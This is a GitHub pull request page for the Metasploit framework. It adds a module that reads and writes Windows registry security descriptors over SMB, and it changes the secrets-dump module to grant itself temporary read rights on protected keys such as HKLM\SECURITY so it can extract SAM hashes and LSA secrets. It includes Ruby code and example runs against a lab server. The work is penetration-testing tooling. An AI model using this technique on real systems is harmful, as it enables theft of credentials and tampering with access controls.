Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Module to read/write registry key security descriptor remotely #19115

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
2 changes: 1 addition & 1 deletion Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -475,7 +475,7 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.6)
ruby_smb (3.3.7)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
## Vulnerable Application

This module reads or writes a Windows registry security descriptor remotely.

In READ mode, the `FILE` option can be set to specify where the security
descriptor should be written to.

The following format is used:
```
key: <registry key>
security_info: <security information>
sd: <security descriptor as a hex string>
```

In WRITE mode, the `FILE` option can be used to specify the information needed
to write the security descriptor to the remote registry. The file must follow
the same format as described above.

## Verification Steps

1. Start msfconsole
1. Do: `use auxiliary/admin/registry_security_descriptor`
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key>`
1. **Verify** the registry key security descriptor is displayed
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> file=<file path>`
1. **Verify** the registry key security descriptor is saved to the file
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> action=write sd=<security descriptor as a hex string>`
1. **Verify** the security descriptor is correctly set on the given registry key
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> file=<file path>`
1. **Verify** the security descriptor taken from the file is correctly set on the given registry key

## Options

### KEY
Registry key to read or write.

### SD
Security Descriptor to write as a hex string.

### SECURITY_INFORMATION
Security Information to read or write (see
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343
(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION).

### FILE
File path to store the security descriptor when reading or source file path used to write the security descriptor when writing


## Scenarios

### Read against Windows Server 2019

```
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList'
[*] Running module against 192.168.101.124

[+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
[*] Auxiliary module execution completed
```

### Write against Windows Server 2019
Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error.

```
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4
[*] Running module against 192.168.101.124

[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
[*] Auxiliary module execution completed
```

### Write against Windows Server 2019 (from file)

```
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml
[*] Running module against 192.168.101.124

[*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml
key: HKLM\SECURITY\Policy\PolEKList
security information: 4
security descriptor: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
[*] Auxiliary module execution completed
```
18 changes: 13 additions & 5 deletions documentation/modules/auxiliary/gather/windows_secrets_dump.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,15 @@
### Description
The `windows_secrets_dump` auxiliary module dumps SAM hashes and LSA secrets
(including cached creds) from the remote Windows target without executing any
agent locally. First, it reads as much data as possible from the registry and
then save the hives locally on the target (`%SYSTEMROOT%\\random.tmp`).
Finally, it downloads the temporary hive files and reads the rest of the data
from it. These temporary files are removed when it's done.
agent locally. This is done by remotely updating the registry key security
descriptor, taking advantage of the WriteDACL privileges held by local
administrators to set temporary read permissions.

This can be disabled by setting the `INLINE` option to false and the module
will fallback to the original implementation, which consists in saving the
registry hives locally on the target (%SYSTEMROOT%\Temp\<random>.tmp),
downloading the temporary hive files and reading the data from it. This
temporary files are removed when it's done.

On domain controllers, secrets from Active Directory is extracted using [MS-DRDS]
DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes,
Expand Down Expand Up @@ -43,7 +48,10 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
14. Verify the notes are there

## Options
Apart from the standard SMB options, no other specific options are needed.

### INLINE
Use inline technique to read protected keys from the registry remotely without
saving the hives to disk (default: true).

## Actions

Expand Down
4 changes: 2 additions & 2 deletions lib/msf/util/windows_registry.rb
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
module Msf::Util::WindowsRegistry

def self.parse(hive_data, name: nil)
RegistryParser.new(hive_data, name: name)
def self.parse(hive_data, name: nil, root: nil)
RegistryParser.new(hive_data, name: name, root: root)
end

end
17 changes: 11 additions & 6 deletions lib/msf/util/windows_registry/registry_parser.rb
Original file line number Diff line number Diff line change
Expand Up @@ -198,18 +198,23 @@ class RegHbin < BinData::Record

# @param hive_data [String] The binary registry data
# @param name [Symbol] The key name to add specific helpers. Only `:sam`
# @param root [String] The root key and subkey corresponding to the hive_data
# and `:security` are supported at the moment.
def initialize(hive_data, name: nil)
def initialize(hive_data, name: nil, root: nil)
@hive_data = hive_data.b
@regf = RegRegf.read(@hive_data)
@root_key = find_root_key
@root_key_block = find_root_key
@root = root
@root << '\\' unless root.end_with?('\\')
case name
when :sam
require_relative 'sam'
extend Sam
when :security
require_relative 'security'
extend Security
else
wlog("[Msf::Util::WindowsRegistry::RegistryParser] Unknown :name argument: #{name}") unless name.blank?
end
end

Expand All @@ -224,10 +229,10 @@ def find_root_key
@hive_data.unpack('a4096' * (@hive_data.size / 4096)).each do |data|
next unless data[0,4] == 'hbin'
reg_hbin = RegHbin.read(data)
root_key = reg_hbin.reg_hbin_blocks.find do |block|
root_key_block = reg_hbin.reg_hbin_blocks.find do |block|
block.data.respond_to?(:magic) && block.data.magic == NK_MAGIC && block.data.nk_type == ROOT_KEY
end
return root_key if root_key
return root_key_block if root_key_block
rescue IOError
raise StandardError, 'Cannot parse the RegHbin structure'
end
Expand Down Expand Up @@ -265,7 +270,7 @@ def find_key(key)
# only asking for the root node
key = key[1..-1] if key[0] == '\\' && key.size > 1

parent_key = @root_key
parent_key = @root_key_block
if key.size > 0 && key[0] != '\\'
key.split('\\').each do |sub_key|
res = find_sub_key(parent_key, sub_key)
Expand Down Expand Up @@ -450,11 +455,11 @@ def enum_values(key)
res = []
value_list = get_value_blocks(key_obj.data.offset_value_list, key_obj.data.num_values + 1)
value_list.each do |value|
# TODO: use #to_s to make sure value.data.name is a String
res << (value.data.flag > 0 ? value.data.name : nil)
end
res
end

end

end
Expand Down
167 changes: 167 additions & 0 deletions lib/msf/util/windows_registry/remote_registry.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
module Msf
module Util
module WindowsRegistry

class RemoteRegistry
# Constants
ROOT_KEY = 0x2c
REG_NONE = 0x00
REG_SZ = 0x01
REG_EXPAND_SZ = 0x02
REG_BINARY = 0x03
REG_DWORD = 0x04
REG_MULTISZ = 0x07
REG_QWORD = 0x0b

def initialize(winreg, name: nil, inline: false)
@winreg = winreg
@inline = inline
case name
when :sam
require_relative 'sam'
extend Sam
when :security
require_relative 'security'
extend Security
else
wlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Unknown :name argument: #{name}") unless name.blank?
end
end

def create_ace(sid)
access_mask = RubySMB::Dcerpc::Winreg::Regsam.new({
write_dac: 1,
read_control: 1,
key_enumerate_sub_keys: 1,
key_query_value: 1
})
Rex::Proto::MsDtyp::MsDtypAce.new({
header: {
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE,
ace_flags: { container_inherit_ace: 1 }
},
body: {
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask.read(access_mask.to_binary_s),
sid: sid
}
})
end

def backup_file_path
return @backup_file_path if @backup_file_path

if ! File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
remote_host = @winreg.tree.client.dns_host_name
remote_host = @winreg.tree.client.dispatcher.tcp_socket.peerhost if remote_host.blank?
path = File.join(Msf::Config.local_directory, "remote_registry_sd_backup_#{remote_host}_#{Time.now.strftime("%Y%m%d%H%M%S")}.#{Rex::Text.rand_text_alpha(6)}.yml")
@backup_file_path = File.expand_path(path)
end

def save_to_file(key, security_descriptor, security_information, path = backup_file_path)
sd_info = {
'key' => key,
'security_info' => security_information,
'sd' => security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join
}
File.open(path, 'w') do |fd|
fd.write(sd_info.to_yaml)
end
end

def read_from_file(filepath)
sd_info = YAML.safe_load_file(filepath)
sd_info['security_info'] = sd_info['security_info'].to_i
sd_info
end

def delete_backup_file(path = backup_file_path)
File.delete(path) if File.file?(path)
end

def change_dacl(key, sid)
security_information =
RubySMB::Field::SecurityDescriptor::OWNER_SECURITY_INFORMATION |
RubySMB::Field::SecurityDescriptor::GROUP_SECURITY_INFORMATION |
RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION

security_descriptor = @winreg.get_key_security_descriptor(key, security_information, bind: false)
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Security descriptor for #{key}: #{security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join}")
save_to_file(key, security_descriptor, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION)

parsed_sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(security_descriptor)
ace = create_ace(sid)
parsed_sd.dacl.aces << ace
parsed_sd.dacl.acl_count += 1
parsed_sd.dacl.acl_size += ace.num_bytes
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] New security descriptor for #{key}: #{parsed_sd.to_binary_s.b.bytes.map { |c| '%02x' % c.ord }.join}")

@winreg.set_key_security_descriptor(key, parsed_sd.to_binary_s, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION, bind: false)

security_descriptor
rescue RubySMB::Dcerpc::Error::WinregError => e
elog("[Msf::Util::WindowsRegistry::RemoteRegistry] Error while changing DACL on key `#{key}`: #{e}")
end

def restore_dacl(key, security_descriptor)
begin
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Restoring DACL on key `#{key}`")
@winreg.set_key_security_descriptor(key, security_descriptor, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION, bind: false)
rescue StandardError => e
elog(
"[Msf::Util::WindowsRegistry::RemoteRegistry] Error while restoring DACL on key `#{key}`: #{e}\n"\
"The original security descriptor has been saved in `#{backup_file_path}`. "\
"The auxiliary module `admin/registry_security_descriptor` can be used to "\
"restore the security descriptor from this file."
)
# Reset the `backup_file_path` instance variable to make sure a new
# backup filename will be generated. This way, this backup file won't
# be deleted the next time `#restore_dacl` is called.
@backup_file_path = nil
return
end
delete_backup_file
end

def enum_values(key)
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
@winreg.enum_registry_values(key, bind: false).map do |value|
value.to_s.encode(::Encoding::ASCII_8BIT)
end
ensure
restore_dacl(key, sd_backup) if @inline && sd_backup
end

def enum_key(key)
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
@winreg.enum_registry_key(key, bind: false).map do |key|
key.to_s.encode(::Encoding::ASCII_8BIT)
end
ensure
restore_dacl(key, sd_backup) if @inline && sd_backup
end

def get_value(key, value_name = nil)
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
root_key, sub_key = key.gsub(/\//, '\\').split('\\', 2)
root_key_handle = @winreg.open_root_key(root_key)
subkey_handle = @winreg.open_key(root_key_handle, sub_key)
begin
reg_value = @winreg.query_value(subkey_handle, value_name.nil? ? '' : value_name)
[reg_value.type.to_i, reg_value.data.to_s.b]
rescue RubySMB::Dcerpc::Error::WinregError
nil
end
ensure
@winreg.close_key(subkey_handle) if subkey_handle
@winreg.close_key(root_key_handle) if root_key_handle
restore_dacl(key, sd_backup) if @inline && sd_backup
end

end
end
end
end